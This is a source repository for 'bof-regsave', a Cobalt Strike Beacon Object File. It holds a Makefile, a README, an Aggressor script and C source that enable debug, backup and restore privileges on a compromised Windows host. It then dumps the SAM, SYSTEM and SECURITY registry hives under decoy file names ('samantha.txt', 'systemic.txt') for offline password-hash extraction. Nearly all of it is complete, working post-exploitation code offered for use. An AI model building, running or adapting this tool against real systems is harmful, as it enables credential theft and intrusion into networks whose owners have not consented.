├── .gitignore ├── Makefile ├── README.md ├── regsave.cna └── source ├── beacon.h ├── common.h └── entry.c /.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Beacon Object File ( BOF ) Compiler 3 | # 4 | # Used to create object files that are 5 | # compatible with Beacon's inline-execute 6 | # command. 7 | # 8 | 9 | CC_x64 := x86_64-w64-mingw32-gcc 10 | LD_x64 := x86_64-w64-mingw32-ld 11 | STRx64 := x86_64-w64-mingw32-strip 12 | CC_x86 := i686-w64-mingw32-gcc 13 | LD_x86 := i686-w64-mingw32-ld 14 | STRx86 := i686-w64-mingw32-strip 15 | 16 | SOURCE := $(wildcard source/*.c) 17 | OBJECT := $(SOURCE:%.c=%.o) 18 | CFLAGS := -Os -s -Qn -nostdlib 19 | LFLAGS := -Wl,-s,--exclude-all-symbols 20 | 21 | all: $(OBJECT) 22 | $(LD_x64) -x -r source/*_x64.o -o regdump.x64.o 23 | $(LD_x86) -x -r source/*_x86.o -o regdump.x86.o 24 | 25 | .c.o: 26 | $(CC_x64) -o $(basename $@)_x64.o -c $< $(CFLAGS) $(LFLAGS) 27 | $(STRx64) -N $(basename $(notdir $@)).c $(basename $@)_x64.o 28 | $(CC_x86) -o $(basename $@)_x86.o -c $< $(CFLAGS) $(LFLAGS) 29 | $(STRx86) -N $(basename $(notdir $@)).c $(basename $@)_x86.o 30 | 31 | clean: 32 | rm -rf source/*_x64.o 33 | rm -rf source/*_x86.o 34 | rm -rf regdump.x64.o regdump.x86.o 35 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # About 2 | Beacon Object File(BOF) for CobaltStrike that will acquire the necessary privileges and dump SAM - SYSTEM - SECURITY registry keys for offline parsing and hash extraction. 3 | 4 | ## Instructions 5 | 6 | CNA will register the command `bof-regsave`: 7 | 8 | ``` 9 | beacon> bof-regsave c:\temp\ 10 | ``` 11 | 12 | By default the output will be saved in the following files: 13 | 14 | ``` 15 | samantha.txt - SAM 16 | systemic.txt - SYSTEM 17 | security.txt - SECURITY 18 | ``` 19 | 20 | You can modify the file names by changing `entry.c`. 21 | 22 | ## Credits 23 | 24 | Template & Makefile based on repo from [@realoriginal](https://github.com/realoriginal/beacon-object-file) 25 | 26 | 27 | ## Reading material for BOF 28 | 29 | [CS Beacon Object Files](https://www.cobaltstrike.com/help-beacon-object-files) 30 | 31 | [Aggressor-Script functions](https://www.cobaltstrike.com/aggressor-script/functions.html) 32 | 33 | [Beacon Object Files - Luser Demo](https://www.youtube.com/watch?v=gfYswA_Ronw) 34 | 35 | [A Developer's Introduction To Beacon Object Files](https://www.trustedsec.com/blog/a-developers-introduction-to-beacon-object-files/) 36 | 37 | _Github repos_ 38 | 39 | ``` 40 | https://github.com/rsmudge/ZeroLogon-BOF 41 | https://github.com/rsmudge/CVE-2020-0796-BOF 42 | https://github.com/trustedsec/CS-Situational-Awareness-BOF 43 | https://github.com/tomcarver16/BOF-DLL-Inject 44 | https://github.com/m57/cobaltstrike_bofs/ 45 | https://github.com/rvrsh3ll/BOF_Collection/ 46 | https://github.com/realoriginal/bof-NetworkServiceEscalate 47 | ``` 48 | 49 | ## Author 50 | [@leftp](https://github.com/leftp) 51 | -------------------------------------------------------------------------------- /regsave.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register("bof-regsave", "Dumps SAM / SECURITY / SYSTEM to a path of your choosing", "Example: regsave c:\\temp\\"); 2 | 3 | alias bof-regsave { 4 | local('$args'); 5 | $barch = barch($1); 6 | if(size(@_) < 2) 7 | { 8 | berror($1, beacon_command_detail("bof-regsave")); 9 | return; 10 | } 11 | 12 | $location = $2; 13 | 14 | $args = bof_pack($1, "z", $location); 15 | $handle = openf(script_resource("regdump. $+ $barch $+ .o")); 16 | $data = readb($handle, -1); 17 | closef($handle); 18 | beacon_inline_execute($1, $data, "go", $args); 19 | } -------------------------------------------------------------------------------- /source/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /source/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // 4 | // Common Header Includes 5 | // 6 | #include 7 | #include 8 | 9 | // 10 | // Internal "Beacon" API header 11 | // 12 | #include "beacon.h" 13 | 14 | WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA (HKEY, LPCSTR, DWORD, REGSAM, PHKEY); 15 | WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY); 16 | WINADVAPI LONG WINAPI ADVAPI32$RegSaveKeyA (HKEY, LPCSTR, LPSECURITY_ATTRIBUTES); 17 | WINBASEAPI BOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE, DWORD, PHANDLE); 18 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (void); 19 | WINBASEAPI BOOL WINAPI ADVAPI32$LookupPrivilegeValueA (LPCSTR, LPCSTR, PLUID); 20 | WINBASEAPI BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD); 21 | WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (void); 22 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle (HANDLE); 23 | WINBASEAPI LPSTR WINAPI SHLWAPI$PathCombineA(LPSTR,LPCSTR,LPCSTR); 24 | -------------------------------------------------------------------------------- /source/entry.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | 4 | void EnableDebugPriv( LPCSTR priv ) 5 | { 6 | HANDLE hToken; 7 | LUID luid; 8 | TOKEN_PRIVILEGES tp; 9 | 10 | 11 | if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 12 | { 13 | BeaconPrintf(CALLBACK_ERROR, "[*] OpenProcessToken failed, Error = %d .\n" , KERNEL32$GetLastError() ); 14 | return; 15 | } 16 | 17 | if (ADVAPI32$LookupPrivilegeValueA( NULL, priv, &luid ) == 0 ) 18 | { 19 | BeaconPrintf(CALLBACK_ERROR, "[*] LookupPrivilegeValue() failed, Error = %d .\n", KERNEL32$GetLastError() ); 20 | KERNEL32$CloseHandle( hToken ); 21 | return; 22 | } 23 | 24 | tp.PrivilegeCount = 1; 25 | tp.Privileges[0].Luid = luid; 26 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 27 | 28 | if (!ADVAPI32$AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(tp), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL )) 29 | { 30 | BeaconPrintf(CALLBACK_ERROR, "[*] AdjustTokenPrivileges() failed, Error = %u\n", KERNEL32$GetLastError() ); 31 | return; 32 | } 33 | 34 | KERNEL32$CloseHandle( hToken ); 35 | } 36 | 37 | void ExportRegKey(LPCSTR subkey, LPCSTR outFile) 38 | { 39 | HKEY hSubKey; 40 | LPSECURITY_ATTRIBUTES lpSecurityAttributes = NULL; 41 | if(ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE,subkey,REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS,&hSubKey)==ERROR_SUCCESS) 42 | { 43 | if (ADVAPI32$RegSaveKeyA(hSubKey, outFile, lpSecurityAttributes)==ERROR_SUCCESS) 44 | { 45 | BeaconPrintf(CALLBACK_OUTPUT,"[*] Exported HKLM\\%s at %s\n", subkey, outFile); 46 | } 47 | else 48 | { 49 | BeaconPrintf(CALLBACK_ERROR,"[*] RegSaveKey failed."); 50 | } 51 | 52 | ADVAPI32$RegCloseKey(hSubKey); 53 | } 54 | else 55 | { 56 | BeaconPrintf(CALLBACK_ERROR,"[*] Could not open key %s",subkey); 57 | } 58 | } 59 | 60 | void go(char * args, int alen) 61 | { 62 | datap parser; 63 | 64 | char buffer_1[MAX_PATH] = ""; 65 | char *lpStr1; 66 | lpStr1 = buffer_1; 67 | 68 | char buffer_sam[ ] = "samantha.txt"; 69 | char *lpStrsam; 70 | lpStrsam = buffer_sam; 71 | 72 | char buffer_sys[ ] = "systemic.txt"; 73 | char *lpStrsys; 74 | lpStrsys = buffer_sys; 75 | 76 | char buffer_sec[ ] = "security.txt"; 77 | char *lpStrsec; 78 | lpStrsec = buffer_sec; 79 | 80 | if (!BeaconIsAdmin()){ 81 | BeaconPrintf(CALLBACK_ERROR, "Admin privileges required to use this module!"); 82 | return; 83 | } 84 | 85 | BeaconDataParse(&parser, args, alen); // Parsing arguments from cna 86 | char * dir; 87 | dir = BeaconDataExtract(&parser, NULL); 88 | 89 | //Enabling required privileges for reg operations 90 | EnableDebugPriv(SE_DEBUG_NAME); 91 | EnableDebugPriv(SE_RESTORE_NAME); 92 | EnableDebugPriv(SE_BACKUP_NAME); 93 | 94 | SHLWAPI$PathCombineA(lpStr1,dir,lpStrsys); 95 | ExportRegKey("SYSTEM",lpStr1); //exporting SYSTEM 96 | 97 | SHLWAPI$PathCombineA(lpStr1,dir,lpStrsam); 98 | ExportRegKey("SAM",lpStr1); //exporting SAM 99 | 100 | SHLWAPI$PathCombineA(lpStr1,dir,lpStrsec); 101 | ExportRegKey("SECURITY",lpStr1); //exporting SECURITY 102 | }; --------------------------------------------------------------------------------